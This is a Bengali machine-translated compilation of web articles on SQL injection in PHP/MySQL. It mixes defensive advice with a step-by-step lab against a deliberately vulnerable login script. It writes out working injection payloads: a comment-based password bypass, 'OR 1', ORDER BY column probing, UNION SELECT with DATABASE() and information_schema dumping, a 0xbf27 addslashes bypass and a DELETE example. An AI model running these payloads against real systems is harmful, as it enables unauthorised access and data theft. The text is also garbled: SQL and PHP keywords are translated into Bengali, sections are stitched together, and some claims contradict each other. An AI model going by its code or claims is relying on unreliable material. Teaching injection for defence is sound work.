এবং এখানে যা কৌতূহলের বিষয়: `mysql_real_escape_string`, `addslashes`, ইত্যাদির মতো পদ্ধতি ব্যবহার করে এই ধরনের আক্রমণ থেকে রক্ষা করা সম্পূর্ণরূপে অসম্ভব। d. মূলত, এই ধরনের আক্রমণ এড়ানোর কোন উপায় নেই, তাই যদি পরামিতিগুলি এভাবে পাস করা হয়:

"ব্যবহারকারীর কাছ থেকে আইডি, লগইন, ইমেল, প্যারাম১ নির্বাচন করুন যেখানে আইডি = "। addslashes($_GET["id"]);"

সমস্যা দূরে যাবে না।

একটি স্ট্রিং মধ্যে অক্ষর পালানো

যখন আমি প্রোগ্রামিংয়ে নতুন ছিলাম, তখন এনকোডিং নিয়ে কাজ করতে আমার খুব কষ্ট হয়েছিল। আমি বুঝতে পারিনি তাদের মধ্যে পার্থক্য কী, যখন আপনার UTF-16 প্রয়োজন তখন কেন UTF-8 ব্যবহার করবেন, কেন ডাটাবেস সর্বদা ল্যাটিন1 এ এনকোডিং সেট করে। অবশেষে যখন আমি এই সব বুঝতে শুরু করলাম, আমি আবিষ্কার করলাম যে যদি আমি সবকিছুকে এক কোডিং স্ট্যান্ডার্ডে রাখি তবে কম সমস্যা হবে। এই সবের মাধ্যমে বাছাই করার সময়, আমি একটি এনকোডিং থেকে অন্য এনকোডিং রূপান্তর করার সময় উদ্ভূত নিরাপত্তা সমস্যাগুলিও লক্ষ্য করেছি।

আগের বেশিরভাগ উদাহরণে বর্ণিত সমস্যাগুলি প্রশ্নের মধ্যে একক উদ্ধৃতি ব্যবহার করে এড়ানো যেতে পারে। আপনি যদি addslashes() ব্যবহার করেন, তাহলে ব্যাকস্ল্যাশের সাথে পালিয়ে যাওয়া একক উদ্ধৃতির উপর নির্ভর করে এমন SQL ইনজেকশন আক্রমণ ব্যর্থ হবে। কিন্তু এই ধরনের আক্রমণ কাজ করতে পারে যদি আপনি কোড 0xbf27 দিয়ে একটি অক্ষর প্রতিস্থাপন করেন, addslashes() এটিকে 0xbf5c27 কোড সহ একটি অক্ষরে রূপান্তর করে - এবং এটি একটি সম্পূর্ণ বৈধ একক উদ্ধৃতি অক্ষর। অন্য কথায়, `뼧` addslashes() এর মধ্য দিয়ে যাবে এবং তারপর MySQL ম্যাপিং এটিকে 0xbf (¿) এবং 0x27 (‘) দুটি অক্ষরে রূপান্তর করবে।

"ব্যবহারকারীদের যেখানে লগইন করুন থেকে * নির্বাচন করুন = ""; . অ্যাডস্ল্যাশ ($_GET["লগইন"])। ";"";

এই উদাহরণটি 뼧 বা 1=1 পাস করে হ্যাক করা যেতে পারে; -- ফর্মে লগইন ক্ষেত্রে। SQL ইঞ্জিন এই মত চূড়ান্ত ক্যোয়ারী তৈরি করবে:

ব্যবহারকারীদের থেকে নির্বাচন করুন যেখানে লগইন = "¿" বা 1=1; --

এবং এটি ডাটাবেস থেকে প্রথম ব্যবহারকারীকে ফিরিয়ে দেবে।

সুরক্ষা

কিভাবে অ্যাপ্লিকেশন রক্ষা করতে? অনেকগুলি পদ্ধতি রয়েছে, যার ব্যবহার অ্যাপ্লিকেশনটিকে সম্পূর্ণরূপে অপ্রতিরোধ্য করে তুলবে না, তবে কমপক্ষে এর সুরক্ষা বাড়াবে।

mysql_real_escape_string ব্যবহার করে

addslashes() ফাংশনটি অবিশ্বস্ত কারণ এটি অনেক হ্যাকিং কেসের অনুমতি দেয় না। mysql_real_escape_string এ ধরনের সমস্যা নেই

MySQLi ব্যবহার করে

এই MySQL এক্সটেনশনটি সম্পর্কিত পরামিতিগুলির সাথে কাজ করতে পারে:

$stmt = $db->প্রস্তুত করুন("আপডেট uets সেট প্যারামিটার = ? যেখানে id =?"); $stmt->bind_param("si", $name, $id); $stmt->চালনা ();

PDO ব্যবহার করে

পরামিতি প্রতিস্থাপনের দীর্ঘ পথ:

$dbh = নতুন PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->প্রস্তুত করুন("রেজিস্ট্রিতে ঢোকান (নাম, মান) মান (:নাম, :মান)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // এক সারি সন্নিবেশ করান $name = "এক"; $value = 1; $stmt->চালনা ();

সংক্ষিপ্ত পথ:

$dbh = নতুন PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->প্রস্তুত ("আপডেট লোক সেট নাম = :new_name WHERE id = :id"); $stmt-> execute(array("new_name" => $name, "id" => $id));

ORM ব্যবহার করে

ORM এবং PDO ব্যবহার করুন এবং বাইন্ড (ব্যবহার করুন) প্যারামিটার। আপনার কোডে এসকিউএল এড়িয়ে চলুন, যদি আপনি আপনার কোডে এসকিউএল দেখেন তবে এতে কিছু ভুল আছে।

কোড এবং পরামিতি যাচাইকরণে বাধাগুলির ক্ষেত্রে ORM নিরাপত্তার যত্ন নেবে৷

উপসংহার

এই সিরিজের উদ্দেশ্য হ্যাকিং ওয়েবসাইটগুলির জন্য একটি সম্পূর্ণ নির্দেশিকা প্রদান করা নয়, তবে অ্যাপ্লিকেশন নিরাপত্তা নিশ্চিত করা এবং কোনও উত্স থেকে আক্রমণ প্রতিরোধ করা। আমি এই নিবন্ধটি শুধুমাত্র প্রোগ্রামারদের জন্যই লেখার চেষ্টা করেছি না - তাদের কোডের যেকোনো হুমকি সম্পর্কে সচেতন হওয়া উচিত এবং কীভাবে সেগুলি প্রতিরোধ করা যায় তা জানা উচিত, তবে গুণমান প্রকৌশলীদের জন্যও - কারণ তাদের কাজ হল এই জাতীয় সমস্যাগুলি ট্র্যাক করা এবং রিপোর্ট করা।

এসকিউএল ইনজেকশনের সারাংশ

আপনি সম্ভবত ইতিমধ্যে ইন্টারনেট থেকে কৌতুক শুনেছেন: " কেন এটি সমস্ত অঙ্কন পাঠে একই: উদাহরণস্বরূপ, একটি পেঁচা আঁকার একটি পাঠ। প্রথমত, আমরা আধা ঘন্টার জন্য বিশদভাবে পেঁচার চোখ আঁকি। এবং তারপর - একবার - পাঁচ মিনিটের মধ্যে - আমরা বাকি পেঁচা আঁকি».

এই সম্পর্কে এমনকি একটি ছবি আছে:

এসকিউএল ইনজেকশনগুলিতে প্রচুর উপাদান রয়েছে: নিবন্ধ, বই, ভিডিও কোর্স (প্রদান এবং বিনামূল্যে)। যাইহোক, তাদের মধ্যে অনেকেই এই বিষয়ে বোঝাপড়া যোগ করে না। বিশেষ করে যদি আপনি একজন শিক্ষানবিস হন। আমি আমার অনুভূতিগুলি ভালভাবে মনে রাখি: এখানে বৃত্ত, এখানে বাকি পেঁচা...

এই নোটের উদ্দেশ্য হল পেঁচার দিকে চোখ টেনে একটি স্বাভাবিক, সহজ ব্যাখ্যা দেওয়া, এসকিউএল ইনজেকশন কি, তাদের সারমর্ম কি, তারা কতটা বিপজ্জনক এবং কেন.

পরীক্ষার জন্য, আমাদের কাছে একটি খুব সাধারণ স্ক্রিপ্ট থাকবে যা SQL ইনজেকশনের জন্য ঝুঁকিপূর্ণ:

Bobruisk আঞ্চলিক লাইব্রেরি অ্যাক্সেস করতে, আপনার শংসাপত্র লিখুন:

আপনার নাম প্রবেশ করুন

আপনার পাসওয়ার্ড লিখুন


প্রশ্ন ("SET NAMES UTF8"); $mysqli->ক্যোয়ারী("অক্ষর সেট করুন UTF8"); $mysqli->ক্যোয়ারী("SET character_set_client = UTF8"); $mysqli->ক্যোয়ারী("SET character_set_connection = UTF8"); $mysqli->ক্যোয়ারী("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "নাম"); $password = filter_input(INPUT_GET, "পাসওয়ার্ড"); যদি ($result = $mysqli->query("select * FROM `members` WHERE name = "$name" এবং password = $password")) ( যখন ($obj = $result->fetch_object()) ( echo "

তোমার নাম:$obj->নাম

আপনার অবস্থা:$obj->স্থিতি

আপনার জন্য উপলব্ধ বই:$obj->বই


"; ) ) else ( printf("Error: %sn", $mysqli->error); ) $mysqli->close(); ?>

আমার সাথে সবকিছু করলে তুমি অনেক বেশি বুঝবে। তাই এটা এখানে. এটিতে দুটি ফাইল রয়েছে: index.phpএবং db_library.sql. index.php ফাইলটি সার্ভারের যেকোনো জায়গায় রাখুন - এটি আমাদের দুর্বল স্ক্রিপ্ট। এবং db_library.sql ফাইলটি আমদানি করতে হবে, উদাহরণস্বরূপ, phpMyAdmin ব্যবহার করে।

index.php ফাইলে, ডাটাবেসের ব্যবহারকারীর নাম রুট সেট করা হয় এবং পাসওয়ার্ড ফাঁকা থাকে। আপনি লাইনটি সম্পাদনা করে আপনার ডেটা প্রবেশ করতে পারেন:

$mysqli = নতুন mysqli("localhost", "root", "", "db_library");

কিংবদন্তি অনুসারে, এটি বব্রুইস্ক আঞ্চলিক গ্রন্থাগারের অনলাইন সংস্করণে একটি লগইন ফর্ম। আমাদের ইতিমধ্যেই শংসাপত্র দেওয়া হয়েছে: ব্যবহারকারীর নাম - ডেমো, পাসওয়ার্ড - 111.

আসুন সেগুলি প্রবেশ করি এবং দেখি:

আমাদের শংসাপত্রগুলি গৃহীত হয়েছে, আমাদের নাম, স্থিতি এবং আমাদের কাছে উপলব্ধ বইগুলি স্ক্রিনে প্রদর্শিত হয়৷ আপনি অন্য কোন ডেটা দিয়ে চেষ্টা করতে পারেন (যদি আপনি আপনার নাম বা পাসওয়ার্ড পরিবর্তন করেন), আমরা লগ ইন করতে এবং পড়ার জন্য উপলব্ধ বইগুলি দেখতে সক্ষম হব না। অন্যদের কাছে কোন বই পাওয়া যায় তা জানারও আমাদের কোন উপায় নেই কারণ আমরা তাদের ব্যবহারকারীর নাম এবং পাসওয়ার্ড জানি না।

ডাটাবেস অনুরোধ কিভাবে ঘটেছে তা বোঝার জন্য সোর্স কোডটি দেখুন:
শব্দ নির্বাচন করুনএকটি SQL ক্যোয়ারী দেখায় কি তথ্য পুনরুদ্ধার করা প্রয়োজন. উদাহরণস্বরূপ, আপনি SELECT নাম, বা SELECT নাম, পাসওয়ার্ড নির্দিষ্ট করতে পারেন। তারপর প্রথম ক্ষেত্রে শুধুমাত্র নাম টেবিল থেকে প্রাপ্ত করা হবে, এবং দ্বিতীয় - শুধুমাত্র নাম এবং পাসওয়ার্ড. তারকাচিহ্ন বলে যে আপনাকে সমস্ত মান পেতে হবে। সেগুলো. SELECT * - এর মানে হল সব মান পাওয়া।

থেকেআপনাকে কোথায় থেকে এগুলি পেতে হবে তা বলে। FROM টি টেবিলের নাম দ্বারা অনুসরণ করা হয়, অর্থাৎ FROM `সদস্যদের' এন্ট্রি বলছে `সদস্যদের` টেবিল থেকে পান।

আরও কোথায়, আপনি যদি কোনো প্রোগ্রামিং ভাষা অধ্যয়ন করে থাকেন, তাহলে এই শব্দটি সবচেয়ে ঘনিষ্ঠভাবে "যদি" এর সাথে সাদৃশ্যপূর্ণ। এবং তারপর শর্ত আছে, এই শর্ত সত্য (1) বা মিথ্যা (0) হতে পারে. আমাদের ক্ষেত্রে

(নাম = '$নাম') এবং (পাসওয়ার্ড = '$পাসওয়ার্ড')

এর মানে হল যে শর্তটি সত্য হবে যদি পাস করা ভেরিয়েবল $name টেবিলের নামের ক্ষেত্রের মানের সমান হয় এবং পাস করা ভেরিয়েবল '$password টেবিলের পাসওয়ার্ড ক্ষেত্রের মানের সমান হয়। যদি অন্তত একটি শর্ত পূরণ না হয় (ভুল ব্যবহারকারীর নাম বা পাসওয়ার্ড), তাহলে টেবিল থেকে কিছুই নেওয়া হবে না, অর্থাৎ SELECT * FROM `members` WHERE name = '$name' AND password ='$password' অর্থ : in 'সদস্যদের' টেবিলে, সমস্ত ক্ষেত্রের মান নিন যদি তাদের জন্য শর্ত পূরণ করা হয় - পাস করা ব্যবহারকারীর নাম এবং পাসওয়ার্ড টেবিলে পাওয়া যায় এমনগুলির সাথে মেলে।

এটা পরিস্কার. এখন, উদাহরণস্বরূপ, ব্যবহারকারীর নামের সাথে একটি একক উদ্ধৃতি সন্নিবেশ করা যাক:

ঠিকানার অংশ:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

কোন তথ্য পাওয়া যায়নি, পরিবর্তে আমরা একটি ত্রুটি দেখতে পাই:
যখন আমরা সঠিক ডেটা প্রবেশ করি, আমাদের অনুরোধটি এইরকম দেখায়:
একটি উদ্ধৃতি যোগ করে, আমাদের প্রশ্নটি হয়ে যায়:
আমি স্বচ্ছতার জন্য অতিরিক্ত স্পেস রেখেছি, অর্থাৎ আমরা অনুরোধ পেয়েছি
যাইহোক, অনুরোধটি সিনট্যাক্সে সঠিক। এবং অবিলম্বে এর পরে, কোন বিভাজক ছাড়াই, অনুরোধটি চলতে থাকে:

"এবং পাসওয়ার্ড="111"

এটিই সবকিছু ভেঙ্গে দেয়, যেহেতু খোলার এবং সমাপ্তির উদ্ধৃতির সংখ্যা সমান নয়। আপনি, উদাহরণস্বরূপ, অন্য উদ্ধৃতি সন্নিবেশ করতে পারেন:
ঠিকানার অংশ:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

ত্রুটি অদৃশ্য হয়ে গেছে, কিন্তু এটি অনুরোধের কোনো অর্থ যোগ করেনি। অনুরোধের অর্থহীন লেজ আমাদের বিরক্ত করছে। কিভাবে আমরা এটা পরিত্রাণ পেতে পারি?

একটি উত্তর আছে - এই মন্তব্য.

মাইএসকিউএল-এ মন্তব্য তিনটি উপায়ে নির্দিষ্ট করা যেতে পারে:

  1. # (হ্যাশ - লাইনের শেষ পর্যন্ত কাজ করে)
  2. - (দুটি ড্যাশ - লাইনের শেষ পর্যন্ত কাজ করুন, দুটি ড্যাশের পরে আপনার একটি স্পেস অক্ষর প্রয়োজন)
  3. /* এই একটি মন্তব্য */ চারটি অক্ষরের একটি গোষ্ঠী - ভিতরের সবকিছুই একটি মন্তব্য, অক্ষরের এই গ্রুপের আগে বা পরে সবকিছু একটি মন্তব্য হিসাবে বিবেচিত হয় না।
আসুন আমাদের ক্যোয়ারীতে একটি উদ্ধৃতি দিয়ে একটি মন্তব্য রাখি, এই উদ্ধৃতির পরে আমরা লেজটি বাতিল করার জন্য একটি মন্তব্য চিহ্ন রাখি এবং একটি + চিহ্ন, যা একটি স্থান নির্দেশ করে, যাতে ক্যোয়ারীটি এইরকম হয়:
ঠিকানার অংশ:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

শুধুমাত্র ত্রুটি অদৃশ্য হয়ে যায়নি, কিন্তু ডেমো ব্যবহারকারীর জন্য সঠিক ডেটা প্রদর্শিত হয়েছিল। এখন থেকে আমাদের অনুরোধ ফর্ম নিয়েছে
সব পরে, পনিটেল -+ 'এবং পাসওয়ার্ড ='111'একটি মন্তব্যে পরিণত হয়েছে এবং অনুরোধটিকে আর প্রভাবিত করে না।

নতুন অনুরোধ আরেকবার দেখুন:
আর এটা আর পাসওয়ার্ড চেক করে না! সেগুলো. বৈধ ব্যবহারকারীদের নাম জেনে, কিন্তু তাদের পাসওয়ার্ড না জেনে, আমরা তাদের ব্যক্তিগত ডেটা দেখতে পারি। সেগুলো. আমরা ইতিমধ্যে এসকিউএল ইনজেকশন শোষণ শুরু করেছি।

দুর্ভাগ্যবশত, আমি কোনো বৈধ নাম জানি না এবং অন্য কিছু নিয়ে আসা দরকার।

আসুন অনুরোধের এই অংশটি ঘনিষ্ঠভাবে দেখে নেওয়া যাক:
প্রথম প্রশ্নে ব্যবহৃত AND মনে আছে? এটি লজিক্যাল এবং অপারেশন জন্য দাঁড়িয়েছে. আমি আপনাকে মনে করিয়ে দিই যে যৌক্তিক অপারেশন "AND" উৎপন্ন করে "সত্য" (1) শুধুমাত্র যদি উভয় অভিব্যক্তি সত্য হয়। কিন্তু লজিক্যাল অপারেটর "OR" উৎপন্ন করে "সত্য" (1) এমনকি যদি অন্তত একটি অভিব্যক্তি সত্য হয়। সেগুলো. অভিব্যক্তি
সর্বদা সত্য হবে সর্বদা 1 প্রদান করবে। কারণ তুলনা করা দুটি অভিব্যক্তির একটি সর্বদা 1 প্রদান করবে।

সেগুলো. আমাদের এমন একটি অভিব্যক্তি তৈরি করতে হবে যা এইরকম দেখাচ্ছে:
ঠিকানার অংশ:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ বা 1 -+ &password=111

ফলাফল:

ফলাফল চমৎকার! আমরা টেবিলের সমস্ত রেকর্ডের একটি তালিকা পেয়েছি।

ORDER BY এবং UNION হল SQL ইনজেকশনের প্রধান বন্ধু

আমরা ইতিমধ্যেই এমন ডেটা পেয়েছি যা যাদের কাছে বৈধ ব্যবহারকারীর নাম এবং পাসওয়ার্ড নেই তাদের কাছে অ্যাক্সেসযোগ্য নয়৷ আর কিছু কি আমি পেতে পারি? হ্যাঁ, আপনি এই টেবিলের একটি সম্পূর্ণ ডাম্প পেতে পারেন (আমাকে মনে করিয়ে দিই, আমাদের কাছে এখনও পাসওয়ার্ড নেই। তাছাড়া, আমরা একটি ছোট গর্তের মাধ্যমে এই সার্ভারের সমস্ত ডেটাবেস থেকে সমস্ত ডেটা পেতে পারি!

মিলনআপনাকে SQL কোয়েরি একত্রিত করতে দেয়। বাস্তব জীবনে, আমার কাজগুলি সহজ, এবং তাই ডাটাবেস এবং ক্ষমতার জন্য সহজ প্রশ্ন মিলনআমি এটা ব্যবহার করি না। কিন্তু এসকিউএল ইনজেকশনের জন্য এর চেয়ে মূল্যবান আর কোনো শব্দ নেই।

মিলনআপনাকে বিভিন্ন ডাটাবেস সহ SELECT এর সাথে SQL কোয়েরিগুলিকে বেশ নমনীয়ভাবে একত্রিত করতে দেয়। তবে একটি গুরুত্বপূর্ণ সিনট্যাক্সের প্রয়োজনীয়তা রয়েছে: প্রথম SELECT-এর কলামের সংখ্যা অবশ্যই দ্বিতীয় SELECT-এর কলামের সংখ্যার সমান হবে।

অর্ডার করুনটেবিল থেকে প্রাপ্ত ডেটা বাছাই সেট করে। আপনি কলামের নাম বা তার সংখ্যা অনুসারে সাজাতে পারেন। অধিকন্তু, যদি এই সংখ্যার সাথে কোন কলাম না থাকে, তাহলে একটি ত্রুটি দেখানো হবে:

ঠিকানার অংশ:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ অর্ডার করুন 1 -+ &password=111

অনুরোধ এই মত দেখায়:
আমরা ব্যবহারকারীর নামটি -1 দিয়ে প্রতিস্থাপন করেছি যাতে কোনও ডেটা প্রদর্শিত না হয়।

কোন ত্রুটি নেই, অনুরোধের সাথে কোন ত্রুটি নেই
এবং এখানে অনুরোধ
এটি ঠিকানা বারের সাথে মিলে যায়

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ অর্ডার করুন 6 -+ &password=111

আমি একটি ত্রুটি পেয়েছিলাম

এর মানে হল যে ডেটা টেবিল থেকে পাঁচটি কলামে নির্বাচন করা হয়েছে।

আমরা UNION এর সাথে আমাদের প্রশ্ন তৈরি করি:

আমি যেমন বলেছি, উভয় সিলেক্টে ক্ষেত্রের সংখ্যা একই হওয়া উচিত, তবে এই ক্ষেত্রগুলিতে কী রয়েছে তা খুব গুরুত্বপূর্ণ নয়। আপনি, উদাহরণস্বরূপ, কেবল সংখ্যা লিখতে পারেন - এবং এইগুলিই প্রদর্শিত হবে। আপনি NULL লিখতে পারেন - তারপর ক্ষেত্রের পরিবর্তে কিছুই প্রদর্শিত হবে না।
ঠিকানার অংশ:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ইউনিয়ন নির্বাচন করুন 1,2,3,4,5 -+ &password=111

কলামের সংখ্যা খুঁজে বের করার আরেকটি উপায় হল একই UNION ব্যবহার করা। একটি মই ব্যবহার করে আমরা কলামের সংখ্যা যোগ করি:
তারা সবাই একই ত্রুটি তৈরি করবে:

ত্রুটি বার্তা অদৃশ্য না হওয়া পর্যন্ত এটি করুন।

দয়া করে মনে রাখবেন যে কিছু UNION SELECT 1,2,3,4,5 ক্ষেত্রের বিষয়বস্তু স্ক্রিনে প্রদর্শিত হয়। সংখ্যার পরিবর্তে, আপনি ফাংশন নির্দিষ্ট করতে পারেন।

SELECT এ কি লিখবেন

কিছু ফাংশন আছে যা সরাসরি UNION এ লেখা যায়:

  • তথ্যশালা()- বর্তমান ডাটাবেসের নাম দেখান
  • বর্তমান ব্যবহারকারী()- ব্যবহারকারীর নাম এবং হোস্টনাম দেখায়
  • @@দাতাদির- ডাটাবেসের পরম পথ প্রদর্শন করে
  • ব্যবহারকারী()- ব্যবহারকারীর নাম
  • সংস্করণ()- ডাটাবেস সংস্করণ
আমাদের উদাহরণে, ক্ষেত্র 2, 4 এবং 5 প্রদর্শিত হয়। আমরা এই ক্ষেত্রগুলির যেকোনো একটি ব্যবহার করতে পারি।

UNION সিলেক্টে DATABASE() ব্যবহার করা

ঠিকানা:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION 1,2,3,4,DATABASE() -+ &password=111 নির্বাচন করুন

ফলাফল:

টেবিলের নাম, ক্ষেত্র এবং ডাটাবেস ডাম্প হচ্ছে

ডাটাবেসে তথ্য_স্কিমানামক একটি টেবিল আছে টেবিল. এই টেবিলে সমস্ত টেবিলের একটি তালিকা রয়েছে যা এই সার্ভারের সমস্ত ডাটাবেসে উপস্থিত রয়েছে। আমরা ক্ষেত্র অনুসন্ধান করে আমাদের টেবিল নির্বাচন করতে পারেন টেবিল_স্কিমাআমাদের ডাটাবেসের নাম হল 'db_library' (আমরা DATABASE() ব্যবহার করে নামটি খুঁজে পেয়েছি)।

একে বলা হয় পূর্ণাঙ্গ UNION কৌশল। ইন্টারনেটে এটির প্রচুর উপাদান রয়েছে। আমার MySQL সার্ভারে, সম্পূর্ণ UNION কৌশল কাজ করে না। আমি একটি ত্রুটি পাচ্ছি
বাহুগুলির বক্রতার কারণে এটি কাজ করে না, কারণ এই কৌশলটি sqlmap-এর সাথেও ফলাফল আনে না:

সম্পূর্ণ UNION কৌশলে কিছু ভুল হয়েছে (এন্ট্রি পুনরুদ্ধার করা সংখ্যার সীমাবদ্ধতার কারণে হতে পারে)। আংশিক UNION কৌশলে ফিরে আসা

এটি MySQL সংস্করণ 5.6 এর কারণে হতে পারে। কারণ আমি ব্যবহারিক উদাহরণ দিতে পারি না, এবং আমি অন্য লোকেদের ভাঙা আদেশগুলি পুনরায় লিখতে আগ্রহী নই - এখন, এমনকি আমি ছাড়া, ইন্টারনেটে আপনার পছন্দ মতো অনেক "মহান তাত্ত্বিক" রয়েছে, তাই আমি অবিলম্বে এগিয়ে যাওয়ার সিদ্ধান্ত নিয়েছি আংশিক UNION কৌশল বিবেচনা করে। তবে এটি সহজতম কৌশল নয় এবং নিবন্ধটি ইতিমধ্যে বেশ দীর্ঘ।

নিবন্ধের পরবর্তী অংশে আমরা আংশিক UNION কৌশলটি অধ্যয়ন করব, এর সাহায্যে আমরা সার্ভারে সমস্ত ডেটা পাব: ডাটাবেসের নাম, এই টেবিলে তাদের টেবিল এবং ক্ষেত্রগুলির নাম, পাশাপাশি তাদের বিষয়বস্তু। . আপনি যখন দ্বিতীয় অংশটি প্রদর্শিত হওয়ার জন্য অপেক্ষা করছেন, অনুশীলন করুন, SQL ইনজেকশন এবং UNION কৌশল সম্পর্কে পড়ুন; নিম্নলিখিত নিবন্ধগুলি পড়ার জন্যও সুপারিশ করা হয়:

পুনশ্চ. ওহ হ্যাঁ, আমি LIMIT সম্পর্কে ভুলে গেছি। পরের বার আমি SQL ইনজেকশনগুলিতে LIMIT এর ভূমিকা সম্পর্কেও কথা বলব।

এসকিউএল ইনজেকশন - ডাটাবেস কোয়েরিতে দূষিত কোড এম্বেড করা - সবচেয়ে বিপজ্জনক ধরনের আক্রমণ। এসকিউএল ইনজেকশন ব্যবহার করে, একজন আক্রমণকারী শুধুমাত্র ডাটাবেস থেকে ব্যক্তিগত তথ্য পেতে পারে না, তবে কিছু শর্তে সেখানে পরিবর্তনও করতে পারে।

এসকিউএল ইনজেকশন দুর্বলতা ঘটে কারণ ব্যবহারকারীর তথ্য সঠিক প্রক্রিয়াকরণ ছাড়াই একটি ডাটাবেস ক্যোয়ারীতে অন্তর্ভুক্ত করা হয়েছে: স্ক্রিপ্টটি দুর্বল নয় তা নিশ্চিত করার জন্য, সমস্ত ব্যবহারকারীর ডেটা একটি পালানো আকারে সমস্ত ডাটাবেস প্রশ্নে শেষ হয় তা নিশ্চিত করা প্রয়োজন। সার্বজনীনতার প্রয়োজনীয়তা হল ভিত্তিপ্রস্তর: একটি স্ক্রিপ্টে লঙ্ঘন করা সমগ্র সিস্টেমকে অরক্ষিত করে তোলে।

একটি দুর্বলতার উদাহরণ

ধরা যাক এমন একটি স্ক্রিপ্ট রয়েছে যা একটি প্রদত্ত শহরের ব্যবহারকারীদের একটি তালিকা প্রদর্শন করে, শহরের আইডিটিকে একটি GET প্যারামিটার হিসাবে গ্রহণ করে। স্ক্রিপ্টটি HTTP এর মাধ্যমে /users.php?cityid=20 এ অ্যাক্সেস করা হবে

উপরের স্ক্রিপ্টে, বিকাশকারী এসকিউএল ক্যোয়ারীতে একটি GET প্যারামিটার সন্নিবেশ করান, যা বোঝায় যে GET প্যারামিটারে সর্বদা একটি সংখ্যা থাকবে। একজন আক্রমণকারী একটি প্যারামিটার হিসাবে একটি স্ট্রিং পাস করতে পারে এবং এর ফলে অনুরোধটি দূষিত হতে পারে। উদাহরণস্বরূপ, এটি /users.php?cityid=20 হিসাবে স্ক্রিপ্ট অ্যাক্সেস করবে; মুছে ফেলুন * ব্যবহারকারীদের থেকে
SQL ক্যোয়ারী এই মত দেখাবে:

অনুরোধটি কার্যকর করা হবে, এবং স্ক্রিপ্টটি শুধুমাত্র নির্দিষ্ট শহর থেকে ব্যবহারকারীদেরই নয়, সেই সমস্ত ব্যবহারকারীদের তালিকাও ফিরিয়ে দেবে যাদের পাসওয়ার্ড তাদের আসল নামের পরিবর্তে প্রদর্শিত হবে।

কিভাবে নিজেকে রক্ষা করবেন?

ব্যবহারকারীর তথ্য একক উদ্ধৃতিতে আবদ্ধ করা যাক। এই সাহায্য করবে?

উপরের উদাহরণ থেকে, আপনি দেখতে পাচ্ছেন যে একক উদ্ধৃতি সংযুক্ত করা যথেষ্ট নয়। আপনাকে অবশ্যই স্ট্রিং এর মধ্যে থাকা যেকোনো উদ্ধৃতি এড়িয়ে যেতে হবে। এটি করার জন্য, PHP mysql_real_escape_string() ফাংশন প্রদান করে, যা প্রতিটি উদ্ধৃতি, ব্যাককোট এবং অন্যান্য কিছু বিশেষ অক্ষরের আগে একটি ব্যাকস্ল্যাশ যোগ করে। আসুন কোডটি দেখি:

সুতরাং, এসকিউএল ইনজেকশন থেকে রক্ষা করার জন্য, সমস্ত বাহ্যিক পরামিতি যাতে পাঠ্য থাকতে পারে সেগুলি ব্যবহার করে প্রক্রিয়া করা আবশ্যক mysql_real_escape_string() এবং একক উদ্ধৃতিতে আবদ্ধ।

আপনি যদি জানেন যে একটি প্যারামিটারের একটি সাংখ্যিক মান নেওয়া উচিত, তবে ফাংশনটি ব্যবহার করে এটিকে সাংখ্যিক আকারে রূপান্তর করা যেতে পারে intval()বা floatval(). এই উদাহরণে আমরা ব্যবহার করতে পারি:

$sql = "ব্যবহারকারীর নাম নির্বাচন করুন, আসল নাম
ব্যবহারকারীদের থেকে
কোথায় cityid=""
.intval ( $_GET ["cityid" ] ) .""" ;

mysql_real_escape_string() এবং mysql_escape_string() এর মধ্যে পার্থক্য

mysql_real_escape_string() হল mysql_escape_string() ফাংশনের একটি উন্নত সংস্করণ, যা MySQL ডাটাবেসে নিরাপদ প্রশ্ন তৈরি করতে ব্যাপকভাবে ব্যবহৃত হয়। এই দুটি ফাংশনের মধ্যে পার্থক্য হল mysql_real_escape_string() মাল্টি-বাইট এনকোডিংয়ের সাথে সঠিকভাবে কাজ করে।

ধরুন যে ডেটা প্রক্রিয়া করা হচ্ছে তাতে একটি অক্ষর রয়েছে (বলুন, UTF-8-এ), যার কোড দুটি বাইট নিয়ে গঠিত - হেক্সাডেসিমাল 27 এবং 2B (যথাক্রমে 39 এবং 43)। mysql_escape_string() একে একে পাস করা ডেটার প্রতিটি বাইটকে একটি পৃথক অক্ষর হিসাবে বিবেচনা করে (আরো সঠিকভাবে, একটি পৃথক অক্ষরের কোড হিসাবে) এবং সিদ্ধান্ত নেয় যে বাইটের ক্রম 27 এবং 2B দুটি ভিন্ন অক্ষর: একটি একক উদ্ধৃতি (") এবং একটি প্লাস (+)। যেহেতু ফাংশনটি একটি বিশেষ অক্ষর হিসাবে একটি উদ্ধৃতি গ্রহণ করে, কোড 27 সহ বাইটের আগে একটি স্ল্যাশ (\) যোগ করা হবে, যা আসলে কিছু ক্ষতিকারক অক্ষরের অংশ। ফলস্বরূপ, ডেটা পাঠানো হবে একটি বিকৃত আকারে ডাটাবেস।

এটা লক্ষণীয় যে mysql_real_escape_string() সব ক্ষেত্রেই সঠিকভাবে কাজ করে এবং সম্পূর্ণরূপে mysql_escape_string() প্রতিস্থাপন করতে পারে।

mysql_real_escape_string() পিএইচপি সংস্করণ 4.3.0 থেকে উপলব্ধ।

অতিরিক্ত উদাহরণ

আমরা সবচেয়ে সহজ উদাহরণটি দেখেছি, কিন্তু বাস্তবে একটি দুর্বল কোয়েরি আরও জটিল হতে পারে এবং ব্যবহারকারীর কাছে তার ফলাফল প্রদর্শন করতে পারে না। এর পরে, আমরা সম্পূর্ণতা দাবি না করে আরও কিছু জটিল ক্ষেত্রে SQL ইনজেকশনের উদাহরণ বিবেচনা করব।

জটিল প্রশ্নে ইনজেকশন

